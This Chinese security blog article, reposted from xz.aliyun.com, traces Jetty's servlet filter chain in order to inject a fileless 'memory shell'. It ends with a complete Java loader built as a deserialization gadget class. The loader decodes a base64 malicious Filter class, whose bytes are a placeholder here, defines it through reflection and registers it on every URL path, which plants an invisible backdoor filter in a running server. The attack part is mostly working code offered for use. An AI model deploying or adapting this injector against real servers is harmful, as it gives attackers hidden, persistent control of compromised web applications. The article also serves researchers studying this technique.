Jetty 内存马注入分析
2023-2-18 12:25:0 Author: xz.aliyun.com(查看原文) 阅读量:29 收藏

目录

环境搭建

Jetty 是一个开源的servlet容器,它为基于Java的web容器,例如JSP和servlet提供运行环境。Jetty是使用Java语言编写的,它的API以一组JAR包的形式发布。开发人员可以将Jetty容器实例化成一个对象,可以迅速为一些独立运行(stand-alone)的Java应用提供网络和web连接。

Jetty 9.0.7

HelloFilter

package com.example.JettyDemo;

import javax.servlet.*;
import javax.servlet.annotation.*;
import java.io.IOException;

@WebFilter(filterName = "HelloFilter",urlPatterns = "/hello")
public class HelloFilter implements Filter {
    public void init(FilterConfig config) throws ServletException {
    }

    public void destroy() {
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
        response.getWriter().println("HelloFilter work");
        chain.doFilter(request, response);
    }
}

Filter分析

在servlet打下断点,查看调用栈,在ServletHandler中第一次出现了和filter相关的信息,可以看出调用栈在经ServletHandler后构造filter相关的信息。个人理解,直接寻找第一出现和filtes相关信息的调用栈,可以快速定位获取上下文的内容。比如这里,就看出我们需要获取ServletHanlder。

找到第一次调用doFilter的地方,ServletHandler::doHandle中第一次调用了doFilter,chain.doFilter()。考虑chain是如何生成的。

ServletHandler::doHandle中定义了chain(FilterChain)类型,接着调用了getFilterChain,跟进查看getFilterChain,该函数构造FilterChain。

在该函数中打下断点,跟进到该函数中,重启服务器。这里实例化了一个filters,接下来的操作就是遍历_filterPathMappings中的元素,从中获取元素中的_Holder(FilterHolder类型)

接着经过new ServletHandler.CacheChain(filers,servletHolder),会将filters中的信息存入chain,然后返回chain。

继续往上跟进,观察_filterPathMappings如何生成的。观察调用栈可以发现,在第一次调用ServletHandler的时候,在实例化的ServletHandler对象中有this._filterPathMappings,那么可以理解为获取到ServletHandler对象就能获取到_filterPathMappings

所以如何将恶意filter注入的关键在于在_filterPathMappings中添加必要的元素。需要往filerPathMappings中添加FilterMapping类型的元素。根据经验,可以假设FilterMapping中需要包含如下三个变量。

思路如下:

1获取ServletHandler
2获取_filterPathMappings
3往_filterPathMappings中添加元素FilterMapping的实例化对象
其中该实例化对象包含三个变量分别是_filterName,_holder,_pathSpecs

构造内存马

获取ServletHandler

快速定位上下文

// 设置搜索类型包含Request关键字的对象
java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys = new ArrayList<Keyword>();
keys.add(new me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type("org.eclipse.jetty.servlet.ServletHandler.").build());
// 定义黑名单
java.util.List<me.gv7.tools.josearcher.entity.Blacklist> blacklists = new ArrayList<Blacklist>();
blacklists.add(new me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type("java.io.File").build());
// 新建一个广度优先搜索Thread.currentThread()的搜索器
me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher = new me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.getThreads(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
// 打开调试模式,会生成log日志
searcher.setIs_debug(true);
// 挖掘深度为20
searcher.setMax_search_depth(20);
// 设置报告保存位置
searcher.setReport_save_path("/Users/lishuheng/Documents/CodeFile/java/MiddleWare/logs/jetty");
searcher.searchObject();

TargetObject = {[Ljava.lang.Thread;} 
   ---> [8] = {java.lang.Thread} = {java.lang.Thread} 
    ---> contextClassLoader = {org.eclipse.jetty.webapp.WebAppClassLoader} 
     ---> _context = {org.eclipse.jetty.webapp.WebAppContext} 
             ---> _servletHandler = {org.eclipse.jetty.servlet.ServletHandler}

获取_servletHandler

Object obj = Thread.currentThread();
Field field = obj.getClass().getDeclaredField("contextClassLoader");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("_context");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getSuperclass().getDeclaredField("_servletHandler");
field.setAccessible(true);
obj = field.get(obj);

获取_filterPathMappings

private static synchronized void InjectFilter(){
    ...
       //假定已经获取到ServletHandler
       ArrayList filterPathMappings = (ArrayList) GetField(servletHandler,"_filterPathMappings");
    ...
    }


    private static synchronized Object GetField(Object o, String k) throws Exception{
        Field f;
        try {
            f = o.getClass().getDeclaredField(k);
        } catch (NoSuchFieldException e) {
            try{
                f = o.getClass().getSuperclass().getDeclaredField(k);
            }catch (Exception e1){
                f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
            }
        }
        f.setAccessible(true);
        return f.get(o);
    }

实例化FilterMapping

这里需要注意的是,当我企图直接实例化一个FilterMapping的时候,系统报错如下:

但是在Jetty的依赖包中又确实有这个类。暂时存疑。

这里提供两种解决思路

思路一:

干脆直接用反射的方式去构造FilterMapping,如下:

Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor();
            constructor2.setAccessible(true);
            Object filterHolder = constructor2.newInstance();

            Method setFilter = filterHolder.getClass().getDeclaredMethod("setFilter",Filter.class);
            setFilter.invoke(filterHolder,HFilter);

            Method setName = filterHolder.getClass().getSuperclass().getDeclaredMethod("setName",String.class);
            setName.invoke(filterHolder,filterName);

            Constructor constructor = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();
            constructor.setAccessible(true);
            Object filterMapping = constructor.newInstance();

实例化FilterMapping对象包含三个变量,分别是_filterName,_holder,_pathSpecs的原因是

_pathSpecsServletHandler:getFilterChain()中的appliesTo()函数

该函数将实际访问的路由与filterMapping._pathSpecs中所定义的路由进行匹配,匹配正确则为true。

接着调用filterPathMapping.getFilterHolder(),获取filterMapping中的_holder

FilterHolder中包含了Filter的各项信息。

_filterName实际上并非必要,因为通过调试可知,当获取到_holder的值之后,_holder中同样也能获取到_filtername,而且会自动赋值到_filterName中。

具体代码如下:

Method setFilterName = filterMapping.getClass().getDeclaredMethod("setFilterName",String.class);
            setFilterName.invoke(filterMapping,filterName);

            Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder",filterHolder.getClass());
            setFilterHolder.setAccessible(true);
            setFilterHolder.invoke(filterMapping,filterHolder);

            String pathSpecs = url;

            Method setPathSpec = filterMapping.getClass().getDeclaredMethod("setPathSpec",String.class);
            setPathSpec.invoke(filterMapping,pathSpecs);

            filterPathMappings.add(filterMapping);

思路二:

org.eclipse.jetty.servlet.ServletHandler中有方法addFilterWithMapping可以向_filterPathMappings(ArrayList类型)中添加FilterMapping类型的元素

具体实现

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Decoder;

import javax.servlet.Filter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;


public class JettyFilterLoader extends AbstractTranslet {


    private static Object servletHandler = null;
    private static String filterName = "HFilter";
    private static String filterClassName = "com.HFilter";
    private static String url = "/*";


    private static synchronized void LoadFilter() throws Exception {
        try{
            Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
        }catch (Exception e){
            Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
            a.setAccessible(true);
            byte[] b = (new BASE64Decoder()).decodeBuffer("恶意Filter.class|base64");
            a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
        }
    }

    //获取上下文
    public static synchronized void GetWebContent() throws Exception {
        try{
            Thread currentThread = Thread.currentThread();
            Object contextClassLoader = GetField(currentThread, "contextClassLoader");
            Object _context = GetField(contextClassLoader,"_context");
            servletHandler = GetField(_context,"_servletHandler");
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    private static synchronized void InjectFilter() throws Exception {
        if(servletHandler != null){
            //方法一
            Filter HFilter = (Filter) Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
            ArrayList filterPathMappings = (ArrayList) GetField(servletHandler,"_filterPathMappings");

            Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor();
            constructor2.setAccessible(true);
            Object filterHolder = constructor2.newInstance();

            Method setFilter = filterHolder.getClass().getDeclaredMethod("setFilter",Filter.class);
            setFilter.invoke(filterHolder,HFilter);

            Method setName = filterHolder.getClass().getSuperclass().getDeclaredMethod("setName",String.class);
            setName.invoke(filterHolder,filterName);

            Constructor constructor = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();
            constructor.setAccessible(true);
            Object filterMapping = constructor.newInstance();

            Method setFilterName = filterMapping.getClass().getDeclaredMethod("setFilterName",String.class);
            setFilterName.invoke(filterMapping,filterName);

            Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder",filterHolder.getClass());
            setFilterHolder.setAccessible(true);
            setFilterHolder.invoke(filterMapping,filterHolder);

            String pathSpecs = url;

            Method setPathSpec = filterMapping.getClass().getDeclaredMethod("setPathSpec",String.class);
            setPathSpec.invoke(filterMapping,pathSpecs);

            filterPathMappings.add(filterMapping);
            System.out.println("123");

            /*           
            //方法二
            Class HFilter = Thread.currentThread().getContextClassLoader().loadClass(filterClassName);
            Method addFilterWithMapping = GetMethod(servletHandler, "addFilterWithMapping", Class.class, String.class, Integer.TYPE);
            addFilterWithMapping.invoke(servletHandler, HFilter, "/*", 1);

            //使用addFilterWithMapping有个问题,动态添加FilterMapping时,其dispatches可能会与已加载到内存中的FilterMapping重复了,因此需要调整元素在_filterPathMappings中的位置
            Object filterMaps = GetField(servletHandler, "_filterMappings");
            Object[] tmpFilterMaps = new Object[Array.getLength(filterMaps)];
            int n = 1;
            int j;

            for(j = 0; j < Array.getLength(filterMaps); ++j) {
                Object filter = Array.get(filterMaps, j);
                String filterName = (String)GetField(filter, "_filterName");
                if (filterName.contains(HFilter.getName())) {
                    tmpFilterMaps[0] = filter;
                } else {
                    tmpFilterMaps[n] = filter;
                    ++n;
                }
            }
            for(j = 0; j < tmpFilterMaps.length; ++j) {
                Array.set(filterMaps, j, tmpFilterMaps[j]);
            }*/
        }

    }

    private static synchronized Object GetField(Object o, String k) throws Exception{
        Field f;
        try {
            f = o.getClass().getDeclaredField(k);
        } catch (NoSuchFieldException e) {
            try{
                f = o.getClass().getSuperclass().getDeclaredField(k);
            }catch (Exception e1){
                f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
            }
        }
        f.setAccessible(true);
        return f.get(o);
    }

    private static synchronized Method GetMethod(Object obj, String methodName, Class<?>... paramClazz) throws NoSuchMethodException {
        Method method = null;
        Class clazz = obj.getClass();

        while(clazz != Object.class) {
            try {
                method = clazz.getDeclaredMethod(methodName, paramClazz);
                break;
            } catch (NoSuchMethodException var6) {
                clazz = clazz.getSuperclass();
            }
        }

        if (method == null) {
            throw new NoSuchMethodException(methodName);
        } else {
            method.setAccessible(true);
            return method;
        }
    }


    static {
        new JettyFilterLoader();
    }

    public JettyFilterLoader(){
        try{
            LoadFilter();
            GetWebContent();
            InjectFilter();
        }catch (Exception e){
            e.printStackTrace();
        }
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

后记

为什么实例化FilterMapping时会存在找不到该类的问题,望赐教。如有分析不对的地方,望斧正。


文章来源: https://xz.aliyun.com/t/12182
如有侵权请联系:admin#unsafe.sh